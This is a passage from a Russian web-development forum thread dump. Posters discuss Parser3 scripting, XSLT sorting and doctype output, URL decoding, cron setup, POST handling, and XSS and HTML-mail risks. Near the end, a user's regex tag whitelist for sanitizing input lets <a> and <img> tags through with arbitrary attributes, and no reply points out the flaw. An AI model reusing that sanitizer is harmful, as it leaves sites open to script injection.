вместо csv + хака с кодировками можно выдавать... html, который excel прекрасно открывает :)\
правда для больших \"отчётов\" csv всё таки предпочтительней.\
\
\
\
и куда потом эти строки 'true' и 'false' девать?"
"67183","Сейчас просто столкнулся с той же самой проблемой..\
\
Можете пояснить суть замены?\
[code]\
$url[^url.match[%(.{1,2})][g]{^process{^^#^untaint{$match.1}}}]\
[/code]"
"67186","хотите поисковые слова ловить?"
"67188","меня терзают смутные сомнения что url-encoded символы привязаны к кодировке, по-моему вы что-то путаете. Для развеяния ваших и моих сомнений прочтите taint\\untaint там есть подсказка :)"
"67189","http://www.parser.ru/forum/?terms=%22status+243%22&author=&doSearch=%CD%E0%E9%F2%E8\
http://www.parser.ru/forum/?terms=%22243%22&author=Misha+v.3&doSearch=%CD%E0%E9%F2%E8\
\
З.Ы. \
^usePHP я уже давно нашел. Хочу разобраться с exec."
"67190","http://www.parser.ru/forum/?id=35069"
"67192","http://www.parser.ru/forum/?terms=%22243%22&author=&doSearch=%CD%E0%E9%F2%E8\
\
третье сообщение сверху. прямо в заголовке один из возможных вариантов ответа."
"67193","Пробовал делать  так: \
1.html\
[code]@body[]\
$f[^file::exec[p.sh]]\
f.status = $f.status <br>\
f.stderr = $f.stderr[/code]\
\
p.sh\
[code]#!/bin/sh\
echo \"abc\"\
[/code]\
Результат точно такой же. \
$f.text - пустой в обоих случаях. \
\
По сути, не важно, что за скрипт я вызываю... php или perl или еще что-то. Или я ошибаюсь?"
"67194","[quote]и куда потом эти строки 'true' и 'false' девать?[/quote]\
Можно выдать в XML, вывести в HTML (для отладки), в таблицу записать... Куда захочется.\
\
[quote]вместо csv + хака с кодировками можно выдавать... html[/quote]Можно."
"67196","Да, беда именно в правах была. \
Кстати, может, ссылка есть на документацию по кодам возвращаемых статусов?\
Погуглил бы, да не знаю, что спрашивать... коды статусов чего? :-["
"67197",":молящийся_смайлик:\
P.S.\
На полном серьезе!"
"67198","Я в свое время не нашел.\
\
Если найдете - поделитесь с общественностью знанием"
"67199","ибо одна буква может быть представлена несколькими последосвательностями.\
\
в случае декодирования из 1251 и utf это будет одна table (соотв. один replace).\
в случае например koi8 вы должны будете сами как-то анализировать раскодированное содержимое и пытаться понять что за кодировка.\
\
process для этих целей я не рекомендовал-бы (попробуйте с таблицей перекодирования и с process, мне кажется что время/память будут сильно не в пользу последней, кроме того она не разберёт нормально utf-8, где одна русская буква кодируется двумя %XX)\
\
P.S. по моему изначально поставлена неправильная задача. есть кучка log analyzer-ов, в том числе бесплатных, которые по моему стоит использовать."
"67202","Пока сделал попроще - koi8 и win в одной таблице хранятся, я думаю, это не сильно нагружает систему.\
Логаналайзеры есть, но тут понадобилась более глубокая проработка запросов, которую аналайзеры дать не могут.\
\
Кроме koi8, win и utf-8 еще что-нибудь у нас встречается?"
"67203","это в общем случае невозможно.\
\
http://сервер.ru/страница?text=%F2%E5%F1%F2\
http://сервер.ru/yandsearch?text=%D4%C5%D3%D4\
\
по _виду_ второй строки в принципе невозможно определить что именно я имел в виду: искал ли я 'ФЕУФ' закодировав буквы в кодировке 1251 или хотел искать 'тест' однако неверно закодировал в koi8-r.\
\
однако когда начинаем рассматривать эти URI как относящиеся к яндексу (http://yandex.ru/yandsearch?...), то всё становится на свои места, т.к. мы знаем что подобные запросы яндекс понимает как закодированые в 1251."
"67204","Да, я ошибся :) В одной таблице UTF-8 и Win.\
Вобщем сделал по-другому - передаю url в php скрипт, там декодирую (есть функция urlencode), меняю там же кодировку с utf-8 на win и далее получаю текст выполнения скрипта в переменную."
"67205","Я правильно понял, что если в ^process{ добавить закодированую строку, то парсер сам ее раскодирует?"
"67208","Формируетья такое дерево:\
[code]<blog_list hit_id=\"2\" sort=\"title\">\
	<item id=\"0\" parent_id=\"0\" is_published=\"1\">\
		<title>Персональный блог</title>\
		<dir>/</dir>\
	</item>\
	<item hit=\"yes\" id=\"2\" parent_id=\"0\" is_published=\"1\">\
		<title>Новости сайта</title>\
		<dir>news</dir>\
	</item>\
	<item id=\"1\" parent_id=\"0\" is_published=\"1\">\
		<title>Pro Байки</title>\
		<dir>bikes</dir>\
		<item id=\"3\" parent_id=\"1\" is_published=\"1\">\
			<title>Продажа-покупка</title>\
			<dir>sale</dir>\
		</item>\
	</item>\
</blog_list>[/code]\
Есть необходимость сформировать на его основе список:\
[code]<xsl:for-each select=\"blog_list//item\">\
<xsl:sort order=\"ascending\" select=\"Указать динамически узел\"/>\
	<li>\
		<a>\
			<xsl:variable name=\"blog_id\"><xsl:value-of select=\"@id\"/></xsl:variable>\
			<xsl:attribute name=\"href\">\
				<xsl:text>/blog</xsl:text><xsl:apply-templates select=\"//blog_list//item[@id = $blog_id]\" mode=\"path\"/>\
			</xsl:attribute>\
			<xsl:value-of select=\"title\"/><xsl:text> - </xsl:text>\
		</a>\
	</li>\
</xsl:for-each>[/code]\
\
Есть необходимость выбрать узел для сортировки динамически. Просто сравнить [b]/name()[/b] и [b]@sort[/b] не получается.\
\
Parser-ом сортировать не хочеться, т.к.\
1. планируется дерево кэшировать и менять только параметр сортировки.\
2. список Parser-ом формируеться в виде дерева а из XSL-шаблона должен выйти линейный список."
"67210","Пользователь выбирает по какому полю сортировать список.\
\
Parser (и, в перспективе, JavaScript) определяет выбранное поле и меняет в дереве [b]<blog_list>[/b] атрибут [b]sort[/b].\
\
XSL-шаблон сортирует список исходя из атрибута [b]sort[/b]."
"67211","надо что-то типа:\
<xsl:sort select=\"*[name() = ../../@sort]\"/>"
"67212","[code]<xsl:sort order=\"ascending\" select=\"child::*[name() = //blog_list/@sort]\"/>[/code]\
Меня что-то переклинило и пошел не в ту степь: пытался выбирать имя через [b]child::*[/b]:\
[code]child::*/name() = //blog_list/@sort[/code]\
...да еще код неправильно синтаксически написал.\
\
Спасибо."
"67213","Как это можно доработать под UTF-8? Где копать?"
"67214","Очень полезный ресурс нарыл на просторах интернета (не сочтите за рекламу) [url=\"http://pcre.ru/\"]http://pcre.ru/[/url]\
Есть конструктор регулярных выражений и документация.\
\
Может, сюда добавит кто-нибудь: http://www.parser.ru/links/ ? :)"
"67216","+ много php специфики, которая сильно связана с самими выражениями.\
\
\
пробежался по порядку:\
- Парсинг сложных URL'ов, Разбор локального пути, выделение имени файла -- бред полнейший, не надо делать это регулярными выражениями.\
- Поиск значений, которые находятся внутри {} -- не обрабатывает вложенные скобки\
- Обработка номера мобильного телефона -- для не москвичей сообщаю, что код города может содержать больше 3 цифр\
- Является ли текст корректным числом (в т.ч. дробным) -- '+1' по ихнему не есть корректное число\
- Выбор всех тегов <A> из строки -- вообще-то оно таким макаром не надёт все <a/>, а найдёт одну запись, начинающуюся первым <a/> и заканчивающуюся @href и текстом от последнего <a/>. при этом <a/>, где @href не последний аттрибут не найдутся (не уверен, ибо не знаю что такое модификатор 'U')\
\
дальше смотреть не стал...\
\
P.S. Проверка правильности адреса электронной почты -- ваще жесть. круче было бы только сделать pos[@]>0. зря весь мир корячится %-)\
P.P.S. Замена повторяющихся знаков препинания -- ещё один шедевр с отличной демонстрацией использования групп символов: [.|-|?|!|,]"
"67218","т.е. \
[code]'|<a.* href=(.*)>(.*)</a>|U' == '|<a.*? href=(.*?)>(.*?)</a>|'[/code]\
\
но это работает только в php, я так понимаю"
"67219","http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP\
\
гуглить надо про коды ответа сервера"
"67220","Коды ответов HTTP-сервера никого не интересуют, информации по ним хоть отбавляй в инете.\
\
Речь идет о кодах возврата (статусах) в UNIX-системах"
"67221","самый полезный ресурс для жизни по регекспам, имхо - это [url=\"http://spearance.ru/parser3/regex/\"]Копилка Регулярных выражений[/url]\
\
+ [url=\"http://www.books.ru/shop/books/82357\"]книжка Фридла[/url] для реального просветления в этой области"
"67222","Пытаюсь выполнять код в определенное время посредством cron. Для теста взял простой код [code]$response:location[http://parser.ru/][/code]. Не работает. Проблема аналогична http://www.parser.ru/forum/?id=62382. [code]$response:location[http://parser.ru/]: not found[/code] Про спецсимволы смотрел. Код брать в кавычки пытался. Не получается."
"67223","Попробуйте вместо $response:location сделать [code]$dummy[^file::load[text;http://parser.ru/]][/code]"
"67224","Он отдаётся в response клиенту (браузеру) и тот делает переход.\
В вашем случае клиент — демон cron, который не является «браузером», ничего не знает о HTTP-заголовках и переход сделать не в состоянии.\
(Возможно, меня поправят в тонкостях.)\
\
Запускамый скрипт должен выполнять какие-то действия.\
В данном случае, отдавать HTTP-заголовок — бестолковое действие."
"67225","- в куках интернациональные символы теперь кодируются в %uXXXX (вместо %XX. отправдяемые удалённому серверу куки, заданные с помощью опции $.cookies[] пока кодируются по старому). таким образом из JS их можно просто декодировать (unescape), или можно поставить куку из JS (escape), и она будет успешно прочитана парсером). при этом новый парсер может прочитать куки, установленные старой версией, однако если вы поставите новую версию, а потом захотите откатиться на предыдущую, то [b]куки с русскими буквами, установленные новой версией, старой не смогут быть прочитаны[/b];\
\
- switch теперь производит поиск до первого совпадения (ошибки 'duplicate' больше не бывает), т.е. больше не происходит сравнения первого параметра switch со значениями [b]всех[/b] case;\
\
- телом case (второй параметр) может быть не только {код}, но и (выражение);\
\
- методы строки length/left/right/mid/pos теперь работают корректно и с текстом в кодировке utf-8;\
\
- исправлена ошибка, из-за которой BOM код не всегда удалялся из загружаемых файлов в кодировке utf-8.\
\
брать [url=\"/download/beta/\"]где обычно[/url]"
"67226","В XSLT-файле пишу:\
\
[code]<xsl:output doctype-public=\"-//W3C//DTD XHTML 4.0 Transitional//EN\"/>[/code]\
\
В Парсерном коде пишу:\
\
[code]^docResult.string[$.method[html]][/code]\
\
На выходе получаю:\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 4.0 Transitional//EN\">[/code]\
\
А нужен конечно же такой:\
\
[code]<!DOCTYPE xhtml PUBLIC \"-//W3C//DTD XHTML 4.0 Transitional//EN\">[/code]\
\
[b]Как сделать, чтобы xhtml прописывался?[/b]\
\
Причем если убрать $.method[html] или заменить на $.method[xml], то получается нечто совсем несуразное:\
\
[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 4.0 Transitional//EN\" \"\">[/code]"
"67227","Такой пример тоже не работает\
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
строка1<br/> \
строка2<br/> \
</document>}] \
^document.save[saved.xml] \
[/code]"
"67228","в XSLT:\
[code]<xsl:output version=\"1.0\" doctype-public=\"-//W3C//DTD XHTML 1.0 Transitional//EN\" doctype-system=\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\" />[/code]\
\
в парсере:\
[code]^docResult.string[\
	$.media-type[text/html]\
	$.method[xml]\
	$.omit-xml-declaration[yes]\
	$.indent[no]\
][/code]"
"67229","Подставил и получил на выходе:\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">[/code]\
\
То есть опять <!DOCTYPE html PU... вместо <!DOCTYPE xhtml PU..."
"67230","Есть метод, рекурсивно собирающий информацию о количестве файлов и папок в выбранной папке.\
\
[code]\
@stat[dir][list]\
^if(!def $hStat){ $hStat[^hash::create[]] }\
$list[^file:list[$dir]]\
^list.menu{\
	$name[$dir/$list.name]\
	^if(-f '$name'){\
		$hStat.files[^eval($hStat.files+1)]\
	}\
	^if(-d '$name'){\
		$hStat.folders[^eval($hStat.folders+1)]\
		^stat[$name]\
	}\
}\
$result[$hStat]\
[/code]\
Идея такова, чтобы в $result[] класть хеш, содержащий значения $.files и $.folders. Т.е. вызывается таким образом\
[code]\
$folder_info[^stat[/content]]\
$folder_info.files\
$folder_info.folders\
[/code]\
\
Без рекурсии все работает, выдает количество файлов и папок 1го уровня. Если включить рекурсию - \
[code]hash may not be overwritten with hash, store it to variable instead[/code]\
С рекурсией, но без $result[$hStat] тоже работает, но не так красиво.\
\
Не могу вьехать, в чем ошибка?"
"67231","...это пока не удобный какой-то способ, ибо нужно переписать все XSLT файлы, плюс еще $.method[html] выключить."
"67232","Всё правильно получилось.\
Почитайте про доктайп XHTML [url=\"http://www.w3.org/TR/xhtml1/\"]здесь.[/url]"
"67233","зачем вам глобальная переменная $hStat? ведь из-за неё будет невозможно вызывать метод повторно для другого каталога.\
\
[code]\
@stat[sDir;hStat][list;name;tmp]\
^if(!def $hStat){$hStat[$.files(0) $.folders(0)]}\
...\
	^hStat.files.inc(1)\
...\
	^hStat.folders.inc(1)\
	$tmp[^stat[$name;$hStat]]\
...\
$result[$hStat]\
[/code]"
"67234","Подскажите, пожалуйста, а как в самом исполняемом html-файле должен быть записан код\
[code]\
@main[]\
$dummy[^file::load[text;http://parser.ru/]]\
[/code]\
?\
Так как есть?"
"67235","Да, как вы делаете обычную страницу.\
\
Вы какую команду в cron прописываете?"
"67236","Я понял: рекурсивный вызов надо класть в переменную, т.к. результат работы метода это хеш. Спасибо.\
[code]\
@stat[sDir;hStat][list;name;tmp]\
^if(!def $hStat){ $hStat[^hash::create[ $.files(0) $.folders(0) ]] }\
$list[^file:list[$sDir]]\
^list.menu{\
	$name[$sDir/$list.name]\
	^if(-f '$name'){\
		^hStat.files.inc(1)\
	}\
	^if(-d '$name'){\
		^hStat.folders.inc(1)\
		$tmp[^stat[$name;$hStat]]\
	}\
}\
$result[$hStat]\
[/code]\
Еще глупый вопрос - почему именно sDir а не просто dir? Так принято? =)"
"67239","Например\
[code]55 15 17 7 * /home/u*****/site.ru/www/cron/index.html[/code]"
"67240","а надо примерно так (возможно ваш 'cgi-bin' расположен в другом каталоге, подправьте при необходимости):\
[code]\
55 15 17 7 * cd /home/u*****/site.ru/www ; ../cgi-bin/parser3.cgi cron/index.html >> cron/index.html.log\
[/code]"
"67241","Тогда JS-скрипты начинают работать правильно. Я сужу по тому как скрипты себя ведут - заработали значит все в порядке.\
Но они работают только когда написано так:\
\
[code]<!DOCTYPE xhtml PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">[/code]\
\
А вот с таким не работают:\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">[/code]"
"67242","[quot]\
заработали значит все в порядке.\
[/quot]\
\
это неверно.\
вы решили не разбираться в проблеме, а закопать её.\
\
возможно скрипты перестают работать, т.к. браузер начинает таки воспринимать полученное как xhtml, и соотв. требует, чтобы скрипты были \"оформлены\" соответственно (прочитайте по приведённой вам ранее ссылке на xhtml про scripts)."
"67243","если я правильно вас понял, у вас xsl-файл начинается с чего-то такого\
[code]<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">[/code]\
\
попробуйте указать другой неймспейс\
[code]<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\" xmlns=\"http://www.w3.org/1999/xhtml\">[/code]\
\
Вообще, с выводом xhtml очень много проблем, т.к. всё зависит от не от парсера. Вывод[i]и[/i]те как xml, а доктайп выводите с помощью xsl:text"
"67244","У меня в скрипте такое написано:\
\
[code]x = e.clientX + document.body.scrollLeft - document.body.clientLeft;\
y = e.clientY + document.body.scrollTop - document.body.clientTop;[/code]\
\
Параметры:\
\
[code]document.body.scrollLeft \
document.body.clientLeft\
document.body.scrollTop \
document.body.clientTop[/code]\
\
имеют значение ноль, если стоит строка html\
\
И имеют нужное значение, если - xhtml (а я его вывести никак не могу).\
\
А вот в этом документе http://www.w3.org/TR/xhtml1/ описано как оформлять скрипты внутри самого xHTML-документа. У меня же скрипты вне документа.\
\
Вот сама страница: http://www.advparadise.ru/accessories?filterCategoryId=12 Я там сейчас поставил:\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">[/code]\
\
Но если будет стоять:\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"здесь неважно что\">[/code]\
\
То скрипт работать не будет как нужно (вышеописанные параметры будут нулевые и картинка превью съедет).\
\
Если поставить то же самое с xhtml, то работает как надо."
"67245","попробуйте:\
\
document.body -> document.documentElement"
"67247","http://www.advparadise.ru/serigraphy1/\
\
Рассказал о своём устройстве в лучшем виде, в том числе, про классы в вебпространстве.\
\
[quote]\
Ошибка на сайте // копировать в буфер обмена \
Источник:  transform\
 \
 \
Описание:  runtime error: file /home/drdrug/advparadise.ru/docs/sultana/data/sites/advparadise/templates/misc/body.xsl line 60 element value-of unregistered variable IMAGES xmlXPathCompiledEval: evaluation failed runtime error: file /home/drdrug/advparadise.ru/docs/sultana/data/sites/advparadise/templates/misc/body.xsl line 60 element value-of xsltValueOf: text copy failed runtime error: file /home/drdrug/advparadise.ru/docs/sultana/data/sites/advparadise/templates/misc/body.xsl line 66 element value-of unregistered variable IMAGES xmlXPathCompiledEval: evaluation failed runtime error: file /home/drdrug/advparadise.ru/docs/sultana/data/sites/advparadise/templates/misc/body.xsl line 66 element value-of xsltValueOf: text copy failed  \
 \
Тип ошибки:  xml \
 \
Запрос:  http://www.advparadise.ru/serigraphy1/ \
  /sultana/system/classes/sf/page.p      171      19   \
  /sultana/system/classes/sf/output.p      transform      122      65   \
  /sultana/system/classes/sf/output.p      setContentType      122      42   \
  /sultana/system/classes/sf/output.p      if      118      34   \
  /sultana/system/classes/sf/output.p      cache      116      26   \
  /sultana/system/classes/sf/output.p      if      110      18   \
  /sultana/system/classes/sf/output.p      switch      100      2   \
  /sultana/system/classes/sf/output.p      transform      33      10   \
  /sultana/system/classes/sf/output.p      section      33      2   \
  /sultana/start.html      generate      82      27   \
  /sultana/start.html      use      82      2   \
  /sultana/start.html      _default      62      33   \
  /sultana/start.html      switch      60      2   \
\
[/quote]"
"67248","сейчас бы многое переписал по другому :)\
\
Если уж пошла такая пьянка то вот ещё один ресурс http://www.regexp.ru/ не все правила идеальны, но здравые идеи есть."
"67249","Следующий код:\
[code]\
<xsl:variable name=\"order\" select=\"string(ascending)\" />\
	\
<xsl:for-each select=\"$path/*\">\
	<xsl:sort select=\"position()\" data-type=\"number\" order=\"$order\" />\
</xsl:for-each>\
[/code]\
выдает ошибку:\
[code]\
element sort\
xsltSortComp: invalid value $order for order\
[/code]\
\
Есть вариант в order указать узел, в котором содержиться значение для сортировки. Но меня этот вариант не устраивать, необходимо как-то самому задать порядок сортировки."
"67250","[code]<xsl:variable name=\"order\">descending</xsl:variable>\
<xsl:sort select=\"position()\" data-type=\"number\" order=\"{$order}\" />[/code]"
"67251","Мне нужно было для подобного:\
[code]\
<xsl:call-template name=\"printLocaleAddress\">\
	<xsl:with-param name=\"path\" select=\".\" />\
	<xsl:with-param name=\"locale\" select=\"@lang\" />\
	<xsl:if test=\"@lang = 'en'\">\
		<xsl:with-param name=\"sort\">descending</xsl:with-param>\
	</xsl:if>\
</xsl:call-template>\
[/code]\
\
Но так делать нельзя, т.к. тег with-param может быть только непосредственно под xsl:call-template тегом. Как быть?\
Предполагаю, что можно решить использованием какой-то функции... Правда не представляю какой."
"67252","Вынести проверку наружу:\
\
[code]<xsl:variable name=\"sort-order\">\
	<xsl:choose>\
		<xsl:when test=\"=\"@lang = 'en'\">\
			<xsl:text>descending</xsl:text>\
		</xsl:when>\
		<xsl:otherwise>\
			<xsl:text>ascending</xsl:text>\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:variable>\
\
<xsl:call-template name=\"printLocaleAddress\">\
	<xsl:with-param name=\"path\" select=\".\" />\
	<xsl:with-param name=\"locale\" select=\"@lang\" />\
	<xsl:with-param name=\"sort-order\" select=\"$sort-order\" />\
</xsl:call-template>[/code]"
"67254","Я об этом даже не подумал."
"67256","раз подобные скрипты перестали работать -- это означает что вы выдали правильную информацию для того, чтобы браузер переключился в xhtml-режим.\
\
ссылка по теме: http://softwaremaniacs.org/blog/2005/12/19/xhtml-you-say/"
"67268","Ну или MTV..."
"67269","[url=http://www.parser.ru/forum/?id=62238]Небольшое описание[/url] было в форуме."
"67270","Почему-то текст, обрезанный с помощью .left(n) не отображается, будучи внутри ^untaint[]{}. Это глюк со мной или что?"
"67272","$about[^string:sql{SELECT text FROM text WHERE tag = 'about'}]\
^untaint[as-is]{^about.left(500)}\
\
А текст это чистые данные из FCKeditor."
"67273","Мой тестовый код, показывает, что все в порядке:\
[code]\
  $text[^taint[Очень интересный & текст!]]\
  \"^untaint[as-is]{^text.left(500)}\"<br />\
  \"^text.left(500)\"\
[/code]\
\
p.s. В Вашем случае нужен не untaint, а taint.\
p.p.s. Не забывайте указывать версию Парсера и операционной системы."
"67274","Мой код вообще ничего не выводит. пусто."
"67275","И стоит попробовать поставить последнюю версию Парсера."
"67276","Думаю многие из вас являются читателями хабра и в курсе шумихи относительно XSS (Cross-Site Scripting) на некоторых известных проектах.\
\
Я так полагаю, оная уязвимость зависит от встроенного парсера сообщений?\
\
Собсно такой вопрос, внутренние механизмы тайтига входящих данных у парсера исключают возможность XSS?\
\
Было бы замечательно, если наши гуру посоветуют, как лучше обезопасить свой сайт от оных уязвимостей."
"67277","чем меньше у вас в коде taint/untaint -- тем меньше вероятность, что вы ошибётесь и сделаете дырку."
"67278","Добрый день!\
Есть два одинаковых html-файла, отличающиеся только методом передачи данных (GET и POST). Так вот, на ДЭНВЕРе с установленным парсером3 все работает прекрасно, а вот на сервере хостера 1GB.com.ua Методом ПОСТ данные не передаются. Обратился в поддержку, они 3 суток что-то ковыряли так ничего и не сделали.\
Подскажите, как можно решить данную проблему?\
\
На вашем форуме нашел, что необходимо добавить строки в .htaccess\
<FIles ~ \"\\.html$\">\
<LimitExcept GET POST>\
Require valid-user\
</LimitExcept>\
<Files>\
не помогло, вообще на сайт потом зайти не мог, пока по фтп не исправил все как было.\
\
Пример файлов:\
<form method=\"get\">\
Город :\
<input type=\"text\" name=\"city_name_ru\" value=\"$city_name_ru\" size=\"50\"><br><br>\
<input type=\"submit\" name=\"renew\" value=\"Обновить\" id=\"renew_id\" >\
</form>\
^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br />] \
\
<form method=\"post\">\
Город :\
<input type=\"text\" name=\"city_name_ru\" value=\"$city_name_ru\" size=\"50\"><br><br>\
<input type=\"submit\" name=\"renew\" value=\"Обновить\" id=\"renew_id\" >\
</form>\
^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br />]"
"67280","0. вы view source смотрели? точно ничего нет? может ваши данные после untaint[as-is] выдаются браузеру, но содержат что-либо, из-за чего не покзываются оным?\
\
1. возможно у вас в результате sql запроса ничего не достаётся, для проверки выведите рядом =$about=^about.left(500)=\
\
2. вы говорите что у вас 'Linux 64bit', то возможно кто-то самостоятельно собирал парсер на этой платформе, а официально он на ней не собирается, особенно 3.1.6 (знаю несколько случаев \"успешной\" сборки, однако также знаю что некоторые функции в результате не работают). попробуйте воспользоваться парсером, собранным на 32-битной платформе (для начала -- из раздела \"скачать\").\
\
3. попробуйте не выводить результат в тело страницы, а throw его или запись в файл.\
\
4. что у вас в $request:charset и в какой кодировке данные живут в БД?\
\
[quot]чистые данные из FCKeditor[/quot]\
любый данные, пришедшие из БД не являются чистыми. в вашем коде они приходят из БД."
"67281","Если у вас та проблема о которой я подумал:) то вы не первый кто с ней столкнулся.\
\
Копайте глубже или предоставте больше информации об ошибке"
"67282","А какая нужна информация?\
Сервер никаких ошибок не выдает - просто обновляет страницу и все.\
Посмотрел в логах сервере, ошибок нет вообще!"
"67283","0. добавить @action к <form/>\
\
1. посмотреть что в:\
=$env:REQUEST_METHOD=\
=^if($form:fields){1}{0}="
"67284","=POST= \
=0="
"67285","0. добавить @action к <form/>\
этот пункт я не понял - прописать action=\"запускаемый файл\"  ??"
"67287","что с путем к файлу-обработчику что без него результат одни\
Метод - ПОСТ, Переменные не определены :(\
=POST= \
=0="
"67288","Нужно установить там сайт. Кто сталкивался с ними? В связке с парсером проблем не возникает? \
Спрсил бы в суппорт, но больше интересует практическая сторона ))"
"67289","Как оказалось, в тексте, отфрматированном в FCKeditor первые 2500!!! символов занимали теги стилей, и толькро потом шел непосредственно сам текст )\
Всем спасибо!"
"67290","Отправляю письмо с помощью [code] mail:send.[/code] \
Указываю [code] $.html{___}[/code] \
Письмо доходит, но не форматированное, а как будто текст, со всеми тегами. Что я делаю не правильно?"
"67291","... (если текст берется из БД) не ставите его untaint"
"67292","но судя по тому, что 1gb.ru ~= 1gb.com.ua, а у первого post работает (только что проверил сделав post на их тестовую страницу), думаю и у второго он работать должен (хотя возможно на разных серверах разные настройки, но вы-же скрываете даже используемую в вашем случае OS, поэтому гадать остаётся вам).\
\
ещё можно посмотреть на:\
=$env:CONTENT_LENGTH=\
=^taint[$request:body]="
"67293","Парсер 3.2.2. Наткнулся на такой странный момент:\
\
$tTable[^table::create{name\
YellowSocket\
RedSocket\
BlueSocket}]\
^tTable.menu{\
^tTable.name.trim[end;Socket]\
}[<br>]\
\
Результат:\
Yellow\
Red\
Blu\
\
Вопрос: куда делась последняя буква у Blue?"
"67295","Точно! Спасибо большое. Берется не из БД, а из формы, но именно в этом и загвоздка. Еще раз благодарю."
"67296","ещё можно посмотреть на:\
=$env:CONTENT_LENGTH=\
=^taint[$request:body]=\
\
Результат:\
=73= \
=city_name_ru=Peredaem+dannie&renew=%CE%E1%ED%EE%E2%E8%F2%FC=\
\
Спрашивайте, пожалуйста, какая информация вам нужна, ато я не представляю что может иметь значение, а что нет.\
\
Характеристики сервера\
2 * процессор Intel Xeon 5320, 1.8 ГГц (всего 8 независимых ядер) \
4 * 2 Гб памяти Kingston (всего 8 Гб) \
3 * SATA Hitachi 500 Гб \
Операционная система:     Linux 2.6 (Gentoo x64)  \
Роль сервера:  сервер хостинга, сервер баз данных, почтовый сервер  \
\
Серверная платформа SR1500"
"67298","Спасибо, буду знать."
"67299","Вы сами себе сделали дыру, через которую, пользуясь формой, можно отправлять письма с произвольным HTML-кодом.\
А это, как минимум, разного калибра фишинг с доставкой в ящик."
"67300","судя по содержимому $request:body до парсера всё доходит, т.е. хостер тут не при чем.\
\
почему используемая вами версия парсера не может разобрать пришедший POST запрос -- я не представляю. попробуйте последнюю версию собранную нами. попробуйте последнюю бету."
"67301","подойдет, так подойдет.. нет, так нет)"
"67302","разве не упрощает жизнь?"
"67303","Спасибо!\
Парсер ставил хостер, попрошу их, чтобы они поставили собранную вами последнюю версию парсера"
"67304","к тому-же он работает НЕ так, как в парсере:\
\
впишите регулярное выражение: '.+'\
спишите текст: 'Выпей<перевод строки>йаду.'\
\
результат обработки:\
0: (Выпей)\
1: (йаду)\
\
правим выражение на (.+)\
результат обработки:\
0: (Выпей)\
1: (Выпей)\
2: (йаду)\
3: (йаду)\
\
\
краткий анализ:\
1. переводы строк js обрабатываются не так как в парсере\
2. откуда 0 и 1 в первом случае -- неясно\
3. почему появляется дублирование при использовании запоминающих скобок -- неясно\
\
\
P.S. есть standalone программы, которые делают тоже самое, только более корректно. этот конструктор -- примитив на js, и собственно использовать его для написания регулярных выражений кроме как для js -- не стОит."
"67306","Да, вы совершенно правы!\
из какого раздела мне лучше взять дистрибутив:\
FreeBSD 4.x (04 мая 2008) \
FreeBSD 6.x (04 мая 2008) \
Linux Redhat (04 мая 2008) \
Бета версии\
???"
"67307","Точнее, не удаление, а превращение скобок в html-сущности.\
\
Покритикуйте, пожалуйста:[code]# перенос строки в <br/>\
$str[^str.match[\\n][g]{<br/>}]\
\
# оставить только разрешенные тэги\
$new[^str.match[(.*?)(\
	<\\/?p>|\
	<\\/?i>|\
	<\\/?b>|\
	<\\/?u>|\
	<\\/?strong>|\
	<\\/?em>|\
	<\\/?sub>|\
	<\\/?sup>|\
	<br\\s?\\/?>|\
	<a\\s+[^^><]*?>|\
	<img\\s+[^^><]*?>|\
	^$)][gx]{^taint[html][$match.1]$match.2}][/code]\
\
И дальше это всё нужно положить в БД (MySQL). Других преобразований не планирую."
"67308","[quote]\
превращение скобок в html-сущности\
[/quote]\
\
дык с какого перепугу при помещении в БД \"грязных\" '<' и '>' они будут преобразованы в html сущности?\
\
\
- \\n в <br /> лучше менять replace-ом\
\
- по моему вы выбрали неправильный подход в случае с тайнтингом: \"модифицировать всё кроме ...\". представьте, что завтра вы решите таки что-то добавить ДО вашего преобразования? своим taint[html] вы прибьёте все сделанные ранее расскраски. считаю что правильнее искать разрешённые и именно их красить в as-is. если надо -- предварительно всё покрасить грязным.\
\
т.е. что-то типа:\
[code]\
.match.[(</?(?:p|i|b|u|strong|em|sup|sub|br|a|img)(?:\\s[^^>]*)?>)][g]{^taint[as-is][$match.1]}\
[/code]"
"67309","[quote]дык с какого перепугу при помещении в БД \"грязных\" '<' и '>' они будут преобразованы в html сущности?[/quote]\
Не знаю даже... Но в базу попадает вот это:[code]&lt;hr&gt;<br/><b>WOW!</b><br/><img src=\"asdfsd\"><br/><em>something&gt;[/code]\
Все нужные теги остались тегами, все ненужные - преобразованы. Я думал, всё, что попадает в запрос к БД, помечается как sql...\
\
Сначала как раз и попробовал красить разрешенные теги as-is. Ничего не получилось, почему-то... Сейчас еще раз попробую. Согласен, что так лучше.\
\
Заработало так:\
\
[code]$str[^taint[html][$str]]\
# перенос строки в <br/>\
$str[^str.match[\\n][g]{<br/>}]\
# оставить только разрешенные тэги\
$new[^str.match[(\
	<\\/?p>|\
	<\\/?i>|\
	<\\/?b>|\
	<\\/?u>|\
	<\\/?strong>|\
